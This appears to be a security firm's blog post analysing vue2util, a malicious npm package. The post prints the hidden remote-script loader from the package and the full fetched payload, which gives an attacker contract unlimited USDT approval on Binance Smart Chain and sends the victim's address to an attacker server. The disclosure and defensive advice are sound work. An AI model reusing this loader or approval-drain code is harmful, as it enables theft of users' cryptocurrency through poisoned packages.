Malicious npm Package Caught Hijacking ERC20 Contracts to Drain USDT
On 26 March 2024, Phylum’s automated risk detection platform flagged a suspicious publication to npm called vue2util
. It bills itself as, and upon first glance appears to be, a simple collection of utility functions for various purposes such as working with objects, arrays, strings, and files. However, hidden in plain sight at the end of the file is a call to a function called loadScript
that, unsurprisingly, loads and executes a script from a remote IP. Upon investigation, we found a cryptojacking scheme that exploits the ERC20 contract (USDT) approval mechanism, covertly granting unlimited approval to the attacker’s contract address, effectively allowing the attacker to drain the victim’s USDT tokens.
--cta--
This package ships with just four files:
index.js
validate.js
global/variable.js
package.json
The package.json
file is just boilerplate and does not contain any install scripts. validate.js
and variable.js
look like genuine bits of whatever legit utility package this attacker stole this code from. Peeking into variable.js
gives us a hint in that regard. We see a reference to avue
and a search around GitHub reveals the avuejs project. avuejs
contains the same files we see here, plus a lot more. It does, indeed, look like a genuinely useful set of utility functions. The only difference here is that vuejs
's index.js
file provides just the functions intended for import into other code. vue2util
, on the other hand, contains those same functions, but also makes immediate use of the loadScript
function at the top level of its index.js
on the last line of the 451 line file. Here’s the loadScipt
function:
export const loadScript = (type = 'js', url, dom = "body") => {
let flag = false;
return new Promise((resolve) => {
const head = dom == 'head' ? document.getElementsByTagName('head')[0] : document.body;
for (let i = 0; i < head.children.length; i++) {
let ele = head.children[i]
if ((ele.src || '').indexOf(url) !== -1) {
flag = true;
resolve();
}
}
if (flag) return;
let script;
if (type === 'js') {
script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
} else if (type === 'css') {
script = document.createElement('link');
script.rel = 'stylesheet';
script.type = 'text/css';
script.href = url;
}
head.appendChild(script);
script.onload = function () {
resolve();
};
});
};
And here’s the last few lines of vue2util
's index.js
file:
loadScript('js','http://156[.]253[.]11[.]39/util.js').then(()=>{
//执行后的方法
})
Because this code is contained at the top level of the index.js
file, when the unsuspecting user of this package imports this, it will load whatever code is contained in the remote utils.js
into the user’s webpage. Let’s take a look at the utils.js
that gets pulled from that remote source.
// 主网
var USDT = "0x55d398326f99059fF775485246999027B3197955";
var DEFI = "0xC7449acC13A0f81dc5d2BBC83509795f116d94fE";
// 测试网
// var USDT = "0xa571387b273bCe7bE65a64abE1b2898a58119127";
// var DEFI = "0xFd8eC853D1fEabC78Bf673C27377fdb6bfB59C2e";
var MAX_INT = "115792089237316195423570985008687907853269984665640564039457584007913129639935";
var ERC20_ABI = [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}];
async function loadData() {
var web3 = window.web3
var chainId = await web3.eth.getChainId()
var account = await web3.eth.getCoinbase()
var USDTContract = new web3.eth.Contract(ERC20_ABI, USDT)
var usdtAllowance = await USDTContract.methods.allowance(account, DEFI).call();
var usdtBalance = await USDTContract.methods.balanceOf(account).call()
usdtBalance = web3.utils.fromWei(usdtBalance, 'ether')
if (chainId == 56 || chainId == '0x38') {
// if (chainId == 97 || chainId == '0x61') {
if(usdtAllowance==0 && usdtBalance >=0x3e8){
var transaction = await USDTContract.methods.approve(DEFI, MAX_INT).send({ from: account });
fetch('http://156[.]253[.]11[.]39:3000/send?address=' + account)
}
}
}
// Function to bind event to transfer button
function bindTransferButtonEvent() {
const transferButton = document.querySelector('.buy_btn');
if (transferButton) {
transferButton.addEventListener('click', function (event) {
// Add your event handling logic here
loadData()
});
clearInterval(checkButtonInterval); // Stop checking once button is found
}
}
// Check for the transfer button every 1 second
const checkButtonInterval = setInterval(bindTransferButtonEvent, 1000);
Let’s break this down. The script starts by declaring USDT
and DEFI
addresses. USDT
is the token that the script targets, and DEFI
seems to be the attacker’s contract address. MAX_INT
is defined as a comically large number, representing the maximum integer value used later to set the maximum allowance. ERC20_ABI
contains the Application Binary Interface (ABI) for interacting with an ERC20 token. The ABI specifies how to call the token’s functions.
Then we see the definition of a function called loadData
. This function first checks the user’s current chain ID and coinbase (account address). The chain ID ensures that the script operates on a specific blockchain (in this case, Binance Smart Chain, given by chain IDs 56 and 0x38). It then creates a contract instance for the USDT token using the ABI and token address and checks the user’s allowance and balance for the token. If the allowance is 0 and the balance is sufficient (>=0x3e8, which is hex for 1000, implying a minimum balance), the script calls the approve function to set a new allowance, giving the DEFI
address permission to spend the user’s USDT up to MAX_INT
. After approval, it sends the user’s account address to an external server (http://156[.]253[.]11[.]39:3000/send), likely for tracking or further exploitation. Note that the use of web3
assumes the host webpage has web3
injected, likely through a browser extension like MetaMask.
Then we see the definition of a function called bindTransferButtonEvent
. This function checks every second for the presence of a specific button with a class attribute buy_btn
on the webpage. Once found, it binds the loadData
function discussed above to the button’s click event and stops the interval check. The moment a user clicks the button, loadData
is executed, initiating the unauthorized approval if the conditions are met.
As for why the theft is only triggered by a very specific button click under certain conditions, we can only speculate. This could suggest that the attacker may be targeting a specific website or application, rather than being general-purpose malware. Regardless, triggering the malware on a button click, particularly one associated with spending funds, is likely an attempt to blend in with normal user interactions. It goes without saying that users do generally trust the buttons and interactions on familiar websites; by hijacking a legitimate button, the attackers can exploit this trust.
Summary
To summarize, this attack starts when an unsuspecting developer installs the vue2util
package from npm, likely thinking it’s a collection of helpful utility functions. Once the developer imports this code into another project or other code, it triggers the loading of the remote utils.js
script from the attacker-controlled IP, and loads that script into the webpage. It specifically looks for a button with a class attribute of buy_btn
and binds it to the malicious loadData
function. Once that button is clicked, the script initializes with pre-defined USDT and DEFI contract addresses and the ECR20 token’s ABI for interaction. It then runs through a few conditional checks and if they’re met it triggers the contract’s approve
function with a nearly unlimited allowance for the DEFI contract to withdraw USDT from the user’s wallet without further consent. Finally, the victim’s account address is also exfiltrated to an external server, either for tracking or further exploitation by the attackers.
Check Your Active Smart Contract Approvals
If you suspect you might be compromised by this attack, or a similar one, you can use a site like BscScan's Token Approval Checker to review and revoke permissions granted to contracts to spend tokens on their behalf. Note this particular tool only works for the Binance Smart Chain, but similar tools exists for other chains as well.